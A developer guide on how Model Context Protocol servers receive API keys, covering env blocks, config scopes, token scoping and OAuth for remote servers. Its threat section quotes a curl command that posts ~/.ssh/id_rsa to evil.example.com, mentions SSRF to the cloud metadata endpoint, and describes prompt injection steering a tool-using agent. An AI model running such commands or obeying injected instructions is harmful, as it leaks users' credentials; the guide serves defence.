An MCP server gets its secrets from the host, not your shell. A Model Context Protocol server launched over stdio — Postgres, GitHub, Stripe, a filesystem bridge — inherits only a limited, platform-dependent subset of environment variables, so its API keys have to be handed in explicitly through an env block in the client config or a --env KEY=value flag. That key then sits inside an agent's reach: the MCP security spec (version 2025-11-25) treats prompt injection and over-broad tokens as first-class threats, because once an LLM can call a tool, a successful injection doesn't just produce bad text — it can drain whatever that server is authorized to touch. The .env rules you already know still apply; what changes is who reads the value and how far a single leaked token reaches.
TL;DR
- stdio MCP servers don't inherit your shell. Pass secrets via the
envobject inclaude_desktop_config.json/.mcp.json, orclaude mcp add --env KEY=value. - A
--scope project.mcp.jsonis committed and shared with the whole team — putting a raw key in it is a repo-wide leak. Reference${VAR}instead so the secret stays in each developer's environment. - Prompt injection is the #1 risk in the OWASP Top 10 for LLM Apps 2025. Scope every token to the minimum (read-only, single database, no
admin:*) so a successful injection has a small blast radius. - The env block is for local development. Production and remote servers belong behind OAuth 2.1 and a secrets manager — the spec explicitly forbids the token passthrough anti-pattern.
How do MCP servers receive environment variables?
When an MCP client spawns a local server over the stdio transport, it launches a subprocess and controls that process's environment block directly. Per the official MCP debugging guide, such servers “inherit only a limited subset of environment variables automatically (the exact set is platform-dependent).” If your server needs STRIPE_SECRET_KEY, you have to put it there yourself. The canonical place is an env object on the server entry:
{
"mcpServers": {
"stripe": {
"command": "npx",
"args": ["-y", "@stripe/mcp", "--tools=all"],
"env": {
"STRIPE_SECRET_KEY": "sk_test_abc123"
}
}
}
}Claude Code exposes the same thing through the CLI. The --env flag sets variables in the server's environment, and the -- double dash separates Claude's own options from the command that runs the server:
# Each --env takes one KEY=value; keep an option between --env and the name
claude mcp add --env AIRTABLE_API_KEY=YOUR_KEY --transport stdio airtable \
-- npx -y airtable-mcp-serverTwo gotchas bite immediately. First, the subprocess working directory is often undefined (it can be / on macOS), so a relative path to a .env file won't resolve — use absolute paths. Second, an unquoted # in a value gets truncated as a comment by most parsers, the same .env quoting rules you already follow.
Where do the secrets actually live — and leak?
Claude Code stores server config at one of three scopes, and the difference is a security boundary, not a convenience:
| Scope | Stored in | Who sees it | Safe for raw secrets? |
|---|---|---|---|
| local (default) | ~/.claude.json | Only you, this project | Tolerable — still plaintext on disk |
| project | .mcp.json (committed) | Everyone who clones the repo | No — this is a repo-wide leak |
| user | ~/.claude.json | You, across all projects | Tolerable — plaintext, broad reach |
The trap is --scope project. A .mcp.json is meant to be committed so the whole team gets the same servers — which means any key you inline is now in git history forever. The fix is variable expansion: keep the secret in each developer's shell or .env, and reference it from the committed file.
{
"mcpServers": {
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": {
"GITHUB_TOKEN": "${GITHUB_TOKEN}"
}
}
}
}Now the committed file carries a placeholder, not a credential. Add .env to .gitignore as always, and ship a .env.example so teammates know which variables the servers expect — the same hygiene covered in the environment variable security guide.
Why is handing a secret to an MCP server riskier than a .env file?
Because a normal app reads process.env and does exactly what you wrote. An MCP server hands its capabilities to a language model that also reads untrusted content — issues, web pages, PDFs, error payloads — and the model cannot reliably tell data from instructions. Prompt injection is ranked LLM01, the number-one risk, in the OWASP Top 10 for LLM Applications 2025. When the injected agent controls a tool, the secret you provided becomes the attacker's reach.
The MCP security spec catalogs the concrete failure modes, and they are not hypothetical:
- Local server compromise. A malicious startup command in a config can run with your privileges — the spec's own example is
curl -X POST -d @~/.ssh/id_rsa https://evil.example.com. An MCP server runs with the same privileges as the client. - SSRF to cloud metadata. A malicious remote server can steer a client toward
http://169.254.169.254/, the AWS/GCP/Azure metadata endpoint, exfiltrating IAM credentials the server never should have reached. - Token passthrough. The spec states MCP servers MUST NOT accept tokens not explicitly issued for them; doing so lets “a malicious actor in possession of a stolen token use the server as a proxy for data exfiltration.”
This isn't theoretical: CVE-2025-6514 showed a malicious server from a community registry achieving remote code execution on clients that connected to it. Vetting which server you hand a key to matters as much as the key itself — see how AI agents get compromised for the broader attack surface.
stdio vs Streamable HTTP: who holds the secret?
The transport decides where authentication lives. Local stdio servers take secrets through the env block; remote HTTP servers should use OAuth 2.1, not a bearer token baked into config.
| Aspect | stdio (local subprocess) | Streamable HTTP (remote) |
|---|---|---|
| Secret delivery | env block / --env | OAuth 2.1 token or auth header |
| Who stores the key | Your machine, plaintext config | Auth server issues short-lived tokens |
| Best for | Local dev, single user | Shared/production, many users |
| Main risk | Leaked plaintext key, broad scope | Confused deputy, token passthrough |
If you're writing the server rather than configuring one, the how to build an MCP server guide walks through both transports end to end.
How do you scope tokens so a compromise stays small?
The spec calls this scope minimization, and its reasoning is blunt: “poor scope design increases token compromise impact.” A broad token — files:*, db:*, admin:* — means a single successful injection gives an attacker lateral access across everything it touches. A narrow one fails closed.
- Issue purpose-built tokens. Generate a credential for this server alone — a read-only database role, a GitHub fine-grained PAT limited to one repo — not your personal admin key.
- Prefer read-only. If the agent only needs to query, don't grant write. The spec recommends a minimal initial scope set with incremental elevation, not everything up front.
- Keep raw keys out of committed config. Use
${VAR}expansion in.mcp.json; let the value live in a gitignored.envor your secrets manager. - Rotate on a schedule, and after any leak. A scoped token that rotates weekly is a far smaller liability than an omnipotent one that never changes.
- Approve before connecting. Project-scoped servers from
.mcp.jsonappear as Pending approval until you review them — read the command before you trust it, exactly the consent gate the spec mandates for one-click installs.
When should you not put a secret in the MCP env block?
- Production or shared servers — the env block is plaintext on one machine. Multi-user and production deployments belong behind OAuth 2.1 and a real secrets manager (Vault, AWS Secrets Manager, Doppler), not a config file.
- Anything in a committed
.mcp.json— never inline a raw key in a file that ships to the repo. Use${VAR}expansion so the secret stays local. - Long-lived, high-privilege credentials — if the only token you have is an admin master key, mint a scoped one first. Handing broad access to an injectable agent is the worst-case blast radius.
- Servers you haven't vetted — a key in the env block is readable by the server binary. If you don't trust the publisher (
CVE-2025-6514was a registry server), don't give it a live credential.
Frequently Asked Questions
How do I pass an API key to an MCP server?
Put it in the env object on the server entry in claude_desktop_config.json or .mcp.json, or use claude mcp add --env KEY=value. stdio servers do not inherit your shell environment, so the key must be provided explicitly through the client config.
Why does my MCP server not see my shell environment variables?
MCP servers launched over stdio inherit only a limited, platform-dependent subset of environment variables. The client spawns the server as a subprocess and only passes what you list in the env block, so variables exported in your shell or .bashrc are not automatically visible.
Is it safe to commit secrets in .mcp.json?
No. A project-scoped .mcp.json is committed and shared with everyone who clones the repo, so an inlined key is a repo-wide leak that lives in git history. Reference ${VAR} expansion instead and keep the actual value in a gitignored .env file or a secrets manager.
Can prompt injection steal the secrets I give an MCP server?
Yes, indirectly. Prompt injection is the #1 risk in the OWASP Top 10 for LLM Apps 2025. A compromised agent can be steered to misuse any tool it controls, so a broad token handed to an MCP server becomes the attacker reach. Scope tokens to the minimum and prefer read-only so a successful injection has a small blast radius.
Should production MCP servers use the env block for secrets?
No. The env block is a local-development convenience that stores plaintext on one machine. Remote and production servers should authenticate with OAuth 2.1 and pull secrets from a manager. The MCP spec also forbids token passthrough — a server must never accept a token that was not issued for it.
References
- MCP Debugging guide — environment variables — confirms stdio servers inherit only a limited env subset and shows the
envconfig block. - MCP Security Best Practices (spec 2025-11-25) — token passthrough, scope minimization, local server compromise, SSRF, and confused-deputy mitigations.
- Claude Code MCP reference —
claude mcp add --env, the--scopeflag, and.mcp.jsonbehavior. - OWASP Top 10 for LLM Applications 2025 — ranks Prompt Injection (LLM01) as the number-one risk for tool-using agents.
- CVE-2025-6514 — remote code execution from a malicious MCP server obtained through a community registry.
Need to hand a teammate a working .env for their MCP setup without pasting it into Slack? Use send.env.dev for a single-use, end-to-end encrypted link, or read the environment variable security guide for the full secrets-management picture.